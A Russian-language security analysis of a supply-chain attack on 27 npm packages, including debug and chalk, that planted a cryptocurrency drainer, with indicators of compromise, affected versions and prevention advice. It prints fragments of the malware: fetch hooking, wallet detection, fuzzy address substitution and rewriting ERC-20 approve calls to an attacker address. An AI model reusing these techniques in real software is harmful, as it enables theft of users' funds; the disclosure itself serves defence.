Экосистема NPM подверглась еще одной масштабной атаке на цепочку поставок, когда 27 популярных пакетов, в том числе широко используемые библиотеки debug и chalk, были скомпрометированы вредоносным программным обеспечением типа криптовалютного дрейнера. Эта атака, коснувшаяся пакетов с более чем 2 миллиардами еженедельных загрузок, демонстрирует, как киберпреступники используют доверенные каналы распространения программного обеспечения для развертывания сложного кода похищения кошельков Web3.
В данной статье осуществляется детальный разбор работы вредоносной нагрузки, способов ее распространения через пакеты npm, а также индикаторов компрометации, связанных с этим инцидентом в цепочке поставок.
Компрометация цепочки поставок NPM
Атака началась со сложной фишинговой кампании против мейнтейнеров пакетов. Злоумышленники рассылали поддельные электронные письма с адреса support@npmjs.help – домена, зарегистрированного всего за три дня до атаки, – что позволило им успешно получить учетные данные мейнтейнеров. Это позволило внедрить вредоносный код в 27 популярных пакетов npm, среди которых:
- debug – популярная утилита для исправлений
- chalk – библиотека для стилизации строк в терминале
- другие пакеты с миллионами еженедельных загрузок
Скомпрометированные пакеты содержали вредоносную нагрузку, специально разработанную для атаки на Web3-приложения и криптовалютные транзакции. Эта атака на цепочку поставок демонстрирует, как доверенные зависимости в процессе разработки могут превратиться в каналы распространения финансового вредоносного ПО.
Поверхность атаки на кошельки Web3
Кошельки Web3, такие, как MetaMask, Trust Wallet и другие браузерные криптовалютные кошельки, стали незаменимыми инструментами для взаимодействия с децентрализованными приложениями (DApp). Когда разработчики бессознательно устанавливают скомпрометированные пакеты npm, вредоносный код получает доступ к той же среде выполнения JavaScript, что и эти кошельки, что открывает возможность для сложных атак по манипулированию транзакциями. Браузерная природа как кода, поставляемого через npm, так и кошельков Web3 создает идеальные условия для подобных атак на цепочку поставок.
Анализ вредоносного ПО
Исследованный криптовалютный дрейнер демонстрирует глубокие знания блокчейн-протоколов и механизмов взаимодействия с кошельками. Вредоносное ПО работает незаметно в фоновом режиме, перехватывая коммуникации кошелька и перенаправляя криптовалютные транзакции на адреса, контролируемые злоумышленниками, в различных блокчейн-сетях.
Начальные методы обфускации
Начальный код вредителя активно использует обфускацию во избежание обнаружения. Имена переменных заменены на шестнадцатеричные идентификаторы типа _0x124ed3, _0xba16ef, а названия функций скрыты за подобными приемами. Кроме того, программа применяет сложную объектную структуру для сохранения сотен криптовалютных адресов, что значительно усложняет статический анализ.
var _0xba16ef = {
'zprkq': function (_0x23e86b, _0x5b593c) {
return _0x23e86b + _0x5b593c;
},
'OiGzk': "1H13VnQJKtT4HjD5ZFKaaiZEetMbG7nDHx",
'FlhWy': "0xFc4a4858bafef54D1b1d7697bfb5c52F4c166976"
// ... hundreds more obfuscated properties
};
Фрагмент 1. Обфускованная структура переменных, содержащая адреса злоумышленников
Многоступенчатая цепочка атаки
После установки и запуска скомпрометированного пакета npm в среде разработки или в среде продакшна вредоносное ПО работает через несколько согласованных этапов, каждый из которых направлен на закрепление в системе и максимизацию возможностей похищения криптовалюты.
Этап 1: Выполнение пакета npm и обнаружение среды
Вредоносное ПО сначала запускается как часть процесса инсталляции или выполнения легитимного пакета npm. Далее оно осуществляет проверку среды, чтобы определить наличие кошельков Web3 и инициирует запуск своей вредоносной нагрузки.
Этап 2: Выявление и инициализация кошелька Web3
Вредоносное ПО начинает с поиска кошельков Web3 в среде браузера. В частности, оно проверяет наличие объектов window.ethereum, свидетельствующих об использовании MetaMask или других кошельков, совместимых с Ethereum.
async function checkethereumw() {
try {
const accounts = await window.ethereum.request({
'method': "eth_accounts"
});
if (accounts.length > 0) {
runmask(); // Initialize wallet hijacking
}
} catch (error) {
// Fallback initialization
}
}
Фрагмент 2. Механизм обнаружения кошельков
Этап 3: Перехват сетевого трафика
После инициализации вредоносное программное обеспечение «подключается» к fetch API и XMLHttpRequest, чтобы перехватывать все сетевые коммуникации. Это позволяет изменить ответы API, содержащие криптовалютные адреса, еще до того, как они попадут в приложение жертвы.
// Hook fetch API
fetch = async function (...args) {
const response = await fetch(...args);
const modifiedData = replaceAddressesInContent(data);
return new Response(modifiedData, {
'status': response.status,
'headers': response.headers
});
};
Фрагмент 3. Механизм перехвата сетевого трафика
Этап 4: Расширенная замена адресов с использованием нечеткого сопоставления
Возможно, самый сложный аспект этого вредоносного ПО. Он заключается в применении алгоритма расстояния Левенштейна для выполнения нечеткого сравнения строк. Вместо простой подмены строки оно находит «ближайший» адрес злоумышленника к любому легитимному адресу, который встречает, делая замену менее заметной.
function calculateEditDistance(str1, str2) {
// Levenshtein distance implementation
const matrix = Array.from({
'length': str1.length + 1
}, () => Array(str2.length + 1).fill(0));
// ... distance calculation logic
}
Фрагмент 4. Алгоритм нечеткого сопоставления для подмены адресов
Этап 5: Перехват и манипуляция транзакциями
Окончательный и наиболее критический этап заключается в перехвате методов транзакций кошелька и их изменении в пользу злоумышленника. Вредоносное ПО нацеливается на несколько ключевых функций Ethereum:
Манипуляция одобрением токенов ERC-20:
- Перехватывает вызовы approve() (0x095ea7b3) и дает неограниченное разрешение на адрес злоумышленника.
- Заменяет адрес получателя на адрес злоумышленника.
- Устанавливает сумму одобрения на максимальное значение (все «f» в шестнадцатеричном представлении).
Перенаправление транзакций:
- Перехватывание вызовов transfer() (0xa9059cbb) и перенаправление средств.
- Изменение вызовов transferFrom() (0x23b872dd), чтобы украсть токены.
- Манипуляция функциями permit (0xd505accf) для осуществления подтверждений без платы за комиссию.
if (data.startsWith("0x095ea7b3")) {
const functionSig = data.substring(0, 10);
const attackerAddress = "Fc4a4858bafef54D1b1d7697bfb5c52F4c166976";
const unlimitedAmount = 'f'.repeat(64);
modified.data = functionSig + attackerAddress + unlimitedAmount;
}
Фрагмент 5. Манипуляция одобрением ERC-20
Поддержка межсетевых транзакций
Вредоносное ПО демонстрирует высокий технический уровень, поскольку поддерживает несколько криптовалютных сетей:
- Ethereum: токены ERC-20 и переводы ETH
- Bitcoin: форматы адресов Legacy и SegWit
- Solana: транзакции с токенами SPL
- TRON: TRX и токены TRC-20
- Litecoin: несколько форматов адресов
- Bitcoin Cash: формат CashAddr
Каждая блокчейн-сеть имеет свои паттерны адресов и структуры транзакций, что требует от вредителя реализации отдельной логики обработки для каждой из них.
Механизмы сокрытия и закрепления
Вредоносное ПО применяет несколько техник, чтобы оставаться незамеченным:
- Перехват методов: сохраняет оригинальные ссылки на функции и восстанавливает их в случае необходимости.
- Постепенное развертывание: использует повторные попытки с паузами, чтобы избежать обнаружения.
- Обработка ошибок: предусматривает корректные резервные сценарии, чтобы избежать аварийного завершения работы основного приложения.
- Интерфейс исправления: скрытый контрольный интерфейс для отслеживания успешности перехвата.
window.stealthProxyControl = {
'isActive': () => isActive,
'getInterceptCount': () => interceptionCount,
'forceShield': () => hookWalletProvider(window.ethereum)
};
Фрагмент 6. Скрытый интерфейс исправлений
Основные индикаторы компрометации
Главные адреса злоумышленников:
Ethereum:
- 0xFc4a4858bafef54D1b1d7697bfb5c52F4c166976 (основная)
- 0xa29eeFb3f21Dc8FA8bce065Db4f4354AA683c024
- 0x40C351B989113646bc4e9Dfe66AE66D24fE6Da7B
Bitcoin Legacy:
- 1H13VnQJKtT4HjD5ZFKaaiZEetMbG7nDHx
- 1Li1CRPwjovnGHGPTtcKzy75j37K6n97Rd
Bitcoin SegWit:
- bc1qms4f8ys8c4z47h0q29nnmyekc9r74u5ypqw6wm
- bc1qznntn2q7df8ltvx842upkd9uj4atwxpk0whxh9
Solana:
- 5VVyuV5K6c2gMq1zVeQUFAmo8shPZH28MJCVzccrsZG6
- 98EWM95ct8tBYWroCxXYN9vCgN7NTcR6nUsvCx1mEdLZ
Последствия и реальные угрозы
Эта атака на цепочку поставок npm создает беспрецедентные риски для экосистемы криптовалют.
- Масштабность: с более чем 2 миллиардами еженедельных загрузок потенциальное количество жертв колоссально.
- Доверие к цепочке поставок: компрометация надежных зависимостей в разработке разрушает базовые предположения по безопасности.
- Финансовые потери: прямое похищение криптовалют и токенов в разных блокчейн-сетях.
- Нарушения взаимодействия с DeFi: неограниченное одобрение токенов создает возможность будущего «слива» средств.
- Межсетевое воздействие: одновременные атаки в нескольких блокчейн-сетях.
- Атаки на разработчиков: целенаправленная ориентация на сообщество разработчиков, которые часто являются ранними пользователями технологий Web3.
- Скрытые операции: сложность обнаружения позволяет длительно оставаться в средах разработки и продакшна.
Сочетание распространения через цепочку поставок и использование нечеткого сопоставления адресов делает эту атаку особенно опасной, ведь и механизм доставки, и вредоносная нагрузка выглядят легитимными, что существенно снижает вероятность их обнаружения.
Вывод
Рассмотренный сложный криптовалютный дрейнер показывает изменение характера угроз, с которыми сталкиваются пользователи Web3. Сочетание передовых методов обфускации, поддержки нескольких блокчейн-сетей и интеллектуальных алгоритмов подмены адресов делает это вредоносное ПО существенным шагом вперед в возможностях угона криптовалют.
Этот инцидент подчеркивает критическую важность повышения осведомленности о безопасности в сфере Web3 и необходимость внедрения надежных мер защиты при взаимодействии с криптовалютными приложениями. По мере роста экосистемы децентрализованных финансов можно ожидать появления все более сложных атак, направленных на инфраструктуру кошельков и взаимодействие пользователей.
Рекомендации по предотвращению
Чтобы защититься от подобных атак на цепочку поставок и кражи криптовалют, разработчики и организации должны предпринимать следующие меры:
Безопасность цепочки поставок:
- Аудит зависимостей: регулярно проверять зависимости npm.
- Файлы блокировки пакетов: использовать package-lock.json для обеспечения согласованных версий зависимостей.
- Надежные источники: проверять издателей пакетов и избегать пакетов с подозрительными изменениями собственности.
- Мониторинг зависимостей: внедрение отслеживания неожиданных обновлений или изменений в пакетах.
- Частные реестры: рассмотреть использование частных npm-реестров для критически важных приложений.
Выявление и реагирование:
- Мониторинг сети: отслеживать подозрительную активность сети и изменения в работе API.
- Анализ поведения: внедрять механизмы выявления нетипичных паттернов взаимодействия с кошельками.
- Сканирование безопасности: применять инструменты типа Mend.io для обнаружения вредоносных инсталляций пакетов.
По мере того как атаки на цепочку поставок становятся все сложнее, а использование криптовалют продолжает расти, проактивные меры безопасности становятся жизненно необходимыми. Масштабность экосистемы npm и значительные финансовые стимулы в Web3 делают этот вектор атак особенно привлекательным для киберпреступников, что требует повышенной бдительности от всего сообщества разработчиков.
Скомпрометированные пакеты
| Пакет | Версия | MSC |
| backslash | 0.2.1 | MSC-2025-7955 |
| chalk-template | 1.1.1 | MSC-2025-7876 |
| supports-hyperlinks | 4.1.1 | MSC-2025-7872 |
| has-ansi | 6.0.1 | MSC-2025-7873 |
| simple-swizzle | 0.2.3 | MSC-2025-7886 |
| color-string | 2.1.1 | MSC-2025-7875 |
| error-ex | 1.3.3 | MSC-2025-7881 |
| color-name | 2.0.1 | MSC-2025-7882 |
| is-arrayish | 0.3.3 | MSC-2025-7953 |
| slice-ansi | 7.1.1 | MSC-2025-7874 |
| color-convert | 3.1.1 | MSC-2025-7954 |
| wrap-ansi | 9.0.1 | MSC-2025-7877 |
| ansi-regex | 6.2.1 | MSC-2025-7880 |
| supports-color | 10.2.1 | MSC-2025-7879 |
| strip-ansi | 7.1.1 | MSC-2025-7878 |
| chalk | 5.6.1 | MSC-2025-7884 |
| debug | 4.4.2 | MSC-2025-7887 |
| ansi-styles | 6.2.2 | MSC-2025-7871 |
| proto-tinker-wc | 0.1.87 | MSC-2025-7883 |
| Prebid-universal-creative | 1.17.3 | MSC-2025-7890 |
| duckdb | 1.3.3 | MSC-2025-7949 |
| @duckdb/node-api | 1.3.3 | MSC-2025-7888 |
| @duckdb/node-bindings | 1.3.3 | MSC-2025-7889 |
| @duckdb/duckdb-wasm | 1.29.2 | MSC-2025-7930 |
| prebid.js | 10.9.2 | MSC-2025-7950 |
| Prebid | 10.9.1,10.9.2 | MSC-2025-7951 MSC-2025-7952 |
| @coveops/abi | 2.0.1 | MSC-2025-7948 |







